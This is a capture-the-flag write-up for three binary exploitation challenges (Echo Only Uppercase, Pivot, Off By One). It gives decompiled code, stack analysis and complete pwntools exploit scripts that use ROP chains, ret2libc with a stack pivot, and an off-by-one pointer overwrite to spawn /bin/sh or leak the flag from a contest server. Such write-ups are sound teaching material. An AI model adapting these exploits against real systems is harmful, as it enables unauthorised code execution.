I felt that these ring’s challenges were quite fun, requiring some creative thinking to solve. There was one last challenge in this category which my team didn’t manage to solve (blackbox FSB pwn). You can find the relevant binaries in this repo.

Echo Only Uppercase

Decompilation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void main(void) {
  ulong idx;
  char data_store [56];
  char input [56];
  byte *ptr2;
  byte *ptr1;
  char redo [24];
  byte chr;
  
  do {
    write(1,"[+] Input\n> ",0x20);
    read(0,input,0x90);
    idx = 0;
    ptr1 = (byte *)input;
    ptr2 = (byte *)data_store;
    do {
      chr = *ptr1;
      if ((0x40 < chr) && (chr < 0x5b)) {
        *ptr2 = chr;
        ptr2 = ptr2 + 1;
      }
      ptr1 = ptr1 + 1;
      idx = idx + 1;
    } while (idx < 0x40);
    write_until_null(data_store);
    write(1,"\n[+] Re? (y/n)\n> ",0x20);
    read(0,redo,0xf);
  } while ((redo[0] == 'Y') || (redo[0] == 'y'));
  write(1,"\n[+] Bye~ Bye~\n",0x20);
  return;
}

Here is the stack layout:

1
2
3
4
5
6
7
Stack[-0x18] redo
Stack[-0x20] ptr1
Stack[-0x28] ptr2
Stack[-0x30] local_30
Stack[-0x68] input
Stack[-0x70] local_70
Stack[-0xa8] data_store

There is an obvious buffer overflow with reading 0x90 bytes into input. We also have a useful syscall gadget and other pop gadgets. However, there are two issues we need to solve: we don’t have enough bytes to craft a ROP-chain and we don’t have a write-what-where gadget to store “/bin/sh\0” in memory. In fact, the only writeable memory region is the stack!

1
2
3
4
5
0x00000000400000 0x00000000401000 0x00000000000000 r-- /home/user/echo_only_uppercase
0x00000000401000 0x00000000402000 0x00000000001000 r-x /home/user/echo_only_uppercase
0x007ffff7ff9000 0x007ffff7ffd000 0x00000000000000 r-- [vvar]
0x007ffff7ffd000 0x007ffff7fff000 0x00000000000000 r-x [vdso]
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]

So, it is clear we need to leak a stack address, and the write_until_null function seems like the best bet. In fact, we can send in an input of 0x40 uppercase characters (ie ‘A’), such that all 0x40 are copied to data_store, then forming a contiguous string with input (see stack layout above). This will leak 0x80 bytes of ‘A’ and then ptr2 (0x40 bytes after input). We can use this to calculate stack addresses.

The next problem is that we have insufficient bytes (40) to craft a ROP-chain. Our ROP-chain would at least consist of 7 * 0x8 bytes (3 pairs of pop gadgets and arguments, 1 syscall). To resolve this, we need to find a way to read more data into memory. We can achieve this by returning to the last read call (into redo) and passing in a larger value than 0xf. This is achievable with a POP_RDX gadget, in total only using 3 * 0x8 bytes (1 pair of pop gadget, 1 return address). Looking at the disassembly,

1
2
3
4
5
6
7
8
9
10
11
      004011cd 48 c7 c2      MOV       RDX,0xf
               0f 00 00 
               00
      004011d4 48 8d b4      LEA       RSI=>redo,[RSP + 0x90]
               24 90 00 
               00 00
      004011dc 48 c7 c7      MOV       RDI,0x0
               00 00 00 
               00
      004011e3 e8 20 fe      CALL      read                                   
               ff ff

We can call our POP_RDX gadget with a larger value (ie 0xffff) and then return to 0x4011d4. We now have enough bytes to craft a ROP-chain.

Finally, to complete this puzzle, we need to load “/bin/sh” into memory for our syscall. We can simply store it on stack by sending it as input for our read into redo, and use our previously leaked stack address to calculate its address.

Full exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwn import *
elf = ELF("./echo_only_uppercase")
context.binary = elf
p = remote("13.213.54.180", 9024)

# cycle 0
payload = b"A" * 0x40
p.sendlineafter(b">", payload)
leak = p.recvuntil(b"[+] Re?").replace(b"[+] Re?", b"").strip()[-6:]
leak = u64(leak.ljust(8, b"\0"))
p.sendlineafter(b">", b"y") # re?

# cycle 1
POP_RAX = 0x0000000000401006 # pop rax ; ret
POP_RDI = 0x0000000000401000 # pop rdi ; ret
POP_RSI = 0x0000000000401002 # pop rsi ; ret
POP_RDX = 0x0000000000401004 # pop rdx ; ret
SYSCALL = 0x000000000040100f
READ_REDO = 0x004011d4

offset = cyclic(0x90).find(b"baab")
payload = offset * b"A"
payload += p64(POP_RDX) + p64(0xffff) + p64(READ_REDO)
p.sendlineafter(b">", payload)

# cycle 2
start_of_buffer = leak - 0xe0 + 0xa0
start_of_buffer = start_of_buffer - 0x90 + 0xd0

offset = cyclic(0xff).find(b"akaa")
payload = b"/bin/sh\0" + (offset - 8) * b"A"
payload += p64(POP_RAX) + p64(59)
payload += p64(POP_RDI) + p64(start_of_buffer)
payload += p64(POP_RSI) + p64(0)
payload += p64(POP_RDX) + p64(0)
payload += p64(SYSCALL)
p.sendline(payload)

p.interactive()

Pivot

Firstly, I ran pwninit with provided libc, which is also a hint that we will be utilising a ret2libc. The decompilation reveals a simple binary:

1
2
3
4
5
6
7
8
9
10
11
12
13
undefined8 main(void) {
  undefined local_28 [32];
  
  initialize();
  if (check == 0) {
    puts("Welcome, This challenge is warmup");
    check = 1;
    read(0,local_28,0x60);
    return 0;
  }
  puts("Error");
  exit(-1);
}

There is an obvious buffer overflow with the read call. Traditionally, we would exploit this with two cycles. On the first, leaking a libc address and calculating libc base. On the second, returning to libc. However, this is prevented by “check == 0”, which is false after the first run through of main(). As such, we need to find a way to reset check to 0.

However, instead of doing that, I decided to simply bypass the check altogether. Instead of returning to main, I decided to return to the read instruction instead, bypassing the “check == 0”. Looking at the disassembly,

1
2
3
4
5
6
7
8
9
10
      00400711 48 8d 45      LEA       RAX=>local_28,[RBP + -0x20]
               e0
      00400715 ba 60 00      MOV       EDX,0x60
               00 00
      0040071a 48 89 c6      MOV       RSI,RAX
      0040071d bf 00 00      MOV       EDI,0x0
               00 00
      00400722 e8 39 fe      CALL      libc.so.6::read                       
               ff ff

All I had to do was to return to 0x400711 so that the read call would be set up correctly. This would also mean a valid stack pointer. We can simply overwrite the saved base pointer to a region of memory we have read-write access over.

1
2
3
4
0x000000003ff000 0x00000000400000 0x00000000000000 rw- /home/user/pivot_patched
0x00000000400000 0x00000000401000 0x00000000001000 r-x /home/user/pivot_patched
0x00000000600000 0x00000000601000 0x00000000001000 r-- /home/user/pivot_patched
0x00000000601000 0x00000000602000 0x00000000002000 rw- /home/user/pivot_patched

Either the first or fourth regions (in fact, check is stored in the BSS in the fourth region) work. Just set the saved base pointer to the higher end of the memory range, to accommodate the stack growing downwards. With this, the challenge just becomes a traditional ret2libc.

Full exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
exe = ELF("./pivot_patched")
libc = ELF("./libc-2.27.so")
context.binary = exe
elf = exe
p = remote("13.213.54.180", 9472)

offset = cyclic(0x58).find(b"kaaa")
saved_rbp = 0x00000000400000 - 0x100
payload = b"A" * (offset-0x8) + p64(saved_rbp)
rop = ROP(elf)
rop.call(elf.sym["puts"], [elf.got["puts"]])
payload += rop.chain() + p64(elf.sym["main"] + 0x39)
p.sendlineafter(b"warmup\n", payload)

leak = p.recvn(6).ljust(8, b"\0")
leak = u64(leak) # puts
libc.address = leak - libc.sym["puts"]

offset = cyclic(0x60).find(b"kaaa")
binsh = next(libc.search(b"/bin/sh\x00"))
rop = ROP([elf, libc])
rop.execve(binsh, 0, 0)
payload = b"A" * offset + rop.chain()
p.sendline(payload)

p.interactive()

An alternative

Another possible exploit method would be to utilize the instructions at the start of main to overwrite check and set it to zero.

1
2
3
4
5
6
7
8
9
10
11
      004006d8 55            PUSH      RBP
      004006d9 48 89 e5      MOV       RBP,RSP
      004006dc 48 83 ec      SUB       RSP,0x30
               30
      004006e0 89 7d dc      MOV       dword ptr [RBP + local_2c],EDI
      004006e3 48 89 75      MOV       qword ptr [RBP + local_38],RSI
               d0
      004006e7 b8 00 00      MOV       EAX,0x0
               00 00
      004006ec e8 86 ff      CALL      initialize
               ff ff

If we control our saved RBP precisely to line up with the address of check in the BSS, and if we can set either EDI or RSI to 0, we can overwrite check to be 0.

With the number of bytes read, we are allowed 7 * 0x8 bytes of ROP-chaining. 3 * 0x8 of this goes to leaking puts, and the last 0x8 bytes goes to the return address of main. This leaves 3 * 0x8 bytes for us to utilise. We can thus use the following ROP-chain:

1
0x00000000004007b1 : pop rsi ; pop r15 ; ret

Along with 2 * p64(0x0) to use up the 3 * 0x8 bytes left over and set RSI to 0.

Off By One

It took me a while to spot the exploit in this code - off-by-ones are notoriously hard to spot.

Program logic

Let’s first try to understand what the program does.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void main(void) {
  int input;
  undefined4 new_length;
  
  setup();
  banner();
  snake_length(0x37);
  do {
    while( true ) {
      while( true ) {
        menu();
        input = read32();
        if (input != 1) break;
        GameStart();
      }
      if (input != 2) break;
      new_length = read32();
      snake_length(new_length);
    }
    if (input == 3) {
      read_flag();
    }
    else {
      puts("Invalid Input\n");
    }
  } while( true );
}

There are three main functions here - GameStart(), snake_length() and read_flag(). Aside from these three that we can call from the program’s main menu, we see that there is an unreferenced print_flag() function as well. The main menu takes a number as input: 1 corresponding to GameStart, 2 to snake_length and 3 to read_Flag. If snake_length is chosen, the program reads another number from stdin to use as the parameter for the snake_length function.

Let’s take a look at each of the 3 functions.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
undefined8 GameStart(void) {
  int input;
  
  puts("Do you wnana play the game?");
  puts("Sorry, not implemented.");
  if ((char)func_ptr == '\0') {
    puts("continue?");
    input = getchar();
    if (input == 0x79) {
      func_ptr = good_bye;
    }
    (*func_ptr)();
  }
  return 0;
}

In GameStart(), the program checks if the least significant byte of func_ptr (in the BSS) is null. If so, it calls getchar and if the input is “y” and sets func_ptr to the function good_bye, before calling it. Right away, this function should set off alarm bells - only the LSB of the func_ptr is checked (typically the entire ptr is checked to be null), the func_ptr function calls looks exploitable as well. Here, good_bye is a function that prints “Good Bye” and returns (not exiting). The intended behaviour here is that if “y” is not passed, the func_ptr is a null_ptr, which when called triggers a sigsegv and exits the program.

Next, let’s look at snake_length(), which takes a parameter length.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
undefined8 snake_length(int length) {
  int rand;
  long in_FS_OFFSET;
  int idx;
  char buffer [56];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  buffer._0_8_ = 0;
  buffer._8_8_ = 0;
  buffer._16_8_ = 0;
  buffer._24_8_ = 0;
  buffer._32_8_ = 0;
  buffer._40_8_ = 0;
  buffer._48_8_ = 0;
  if ((length < 1) || (0x38 < length)) {
    puts("invalid snake size");
  }
  else {
    memset(buffer,0,0x38);
    rand = open("/dev/urandom",0);
    if (rand == -1) {
      puts("can\'t open /dev/urandom");
      exit(1);
    }
    read(rand,buffer,(long)length);
    for (idx = 0; idx < length; idx = idx + 1) {
      while (buffer[idx] == '\0') {
        read(rand,buffer + idx,1);
      }
    }
    strcpy(random_value,buffer);
    close(rand);
    print_snake(length);
  }
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
    __stack_chk_fail();
  }
  return 0;
}

It first checks that the input length is between 1 and 0x38. Then, it memsets the buffer with 0x38 null bytes. Then, it reads from /dev/urandom into our buffer for length bytes. Each byte written is guaranteed to not be a null byte. Finally, it copies our buffer to random_value (some memory in BSS). The print_snake function essentially prints out a snake of the corresponding length (nothing interesting there).

Next, the read_flag() function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
void read_flag(void) {
  int fd;
  int idx;
  
  fd = open("flag",0);
  if (fd == -1) {
    puts("Can\'t Open Flag");
    exit(1);
  }
  read(fd,flag,0x38);
  for (idx = 0; idx < 0x38; idx = idx + 1) {
    flag[idx] = flag[idx] ^ random_value[idx];
    if (flag[idx] == '\0') {
      flag[idx] = 0x40;
    }
  }
  close(fd);
  return;
}

This opens the flag file, reads it to memory (the flag variable is also in BSS), and XORs each character with the corresponding character of random_value (set earlier in snake_length). Note that even if we do not call snake_length, the program calls it with 0x37 even before showing us the menu, so random_value is already randomised then.

Finally, the print_flag function simply does:

1
2
3
4
void print_flag(void) {
  printf("Flag is : %s",flag);
  return;
}

But the problem is that it is never referenced in the code.

Exploitation

The intuition I had was that snake_length should be set to 0x38, hinted at by the fact that the first snake_length call was with 0x37, although the maximum input length was 0x38. With some trial and error, calling: GameStart (with ‘y’), snake_length (with 56/0x38), GameStart (with ‘n’) triggered the print_flag function!

1
2
3
4
5
6
7
Do you wnana play the game?
Sorry, not implemented.
continue?
n
Flag is : 
1. Game Start!
2. Set Snake Length

This isn’t entirely dumb luck - there is some method to the trial and error. I had the following ideas:

  • the intuition that snake_length(0x38) had to be part of the chain
  • GameStart(‘n’) obviously could not start the chain
  • the idea that random_value and func_ptr laid beside each other in memory. An off-by-one error would affect func_ptr and so it would make sense to call GameStart, which references func_ptr.
  • you can typically find the exploit in similar CTF challenges by just playing around with the code

Anyway, having found the exploit, I had to understand why it worked to exploit it further. Setting a GDB breakpoint at the func_ptr call, I realised that it was actually the print_flag function being called, instead of good_bye. It also passed the first check because the LSB of the address to print_flag was a null byte. In fact good_bye lies at 0x100c1f, and print_flag at 0x100c00 - just a difference of the LSB.

The issue actually lies with the strncpy in the snake_length function, which copies the string at buffer, including the null byte. With 0x38 bytes of random string and one string-terminating null-byte, the 0x39 bytes just overflowed random_value (at 0x302040) into func_ptr (at 0x302078) by one byte. Stepping through the GameStart logic, it can be seen that then if ‘y’ is not input, print_flag will be called.

Our current exploitation involves:

  • Calling GameStart (with ‘y’) to set up good_bye as the func_ptr
  • Calling snake_length (with 56/0x38) to overwrite the LSB of func_ptr, turning it into print_flag
  • Calling read_flag to store the flag in memory
  • Calling GameStart (with ‘n’) to trigger the print_flag call, reading the flag from memory

To complete this challenge, we need to find a way such that the flag stored in memory would not be XOR-ed with random bytes (see the behaviour of read_flag). To achieve this, we can try to overwrite the random_value memory to all null bytes. Since we already have essentially a null-byte write primitive, we can extend it to overwrite the entire random_value with null bytes by calling snake_length with decreasing values (ie 0x38 -> 0x37 -> 0x36 -> … -> 0x01). This zeroes out all but one byte of random_value.

Full exploit code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
p = remote("13.213.54.180", 9021)
sla = lambda i, x: p.sendlineafter(i, x)

sla(b">", b"1")
sla(b"continue", b"y")

for x in range(56):
    inp = str(56 - x).encode("ascii")
    sla(b">", b"2")
    sla(b">", inp)

sla(b">", b"3")
sla(b">", b"1")
sla(b"continue", b"n")

p.interactive()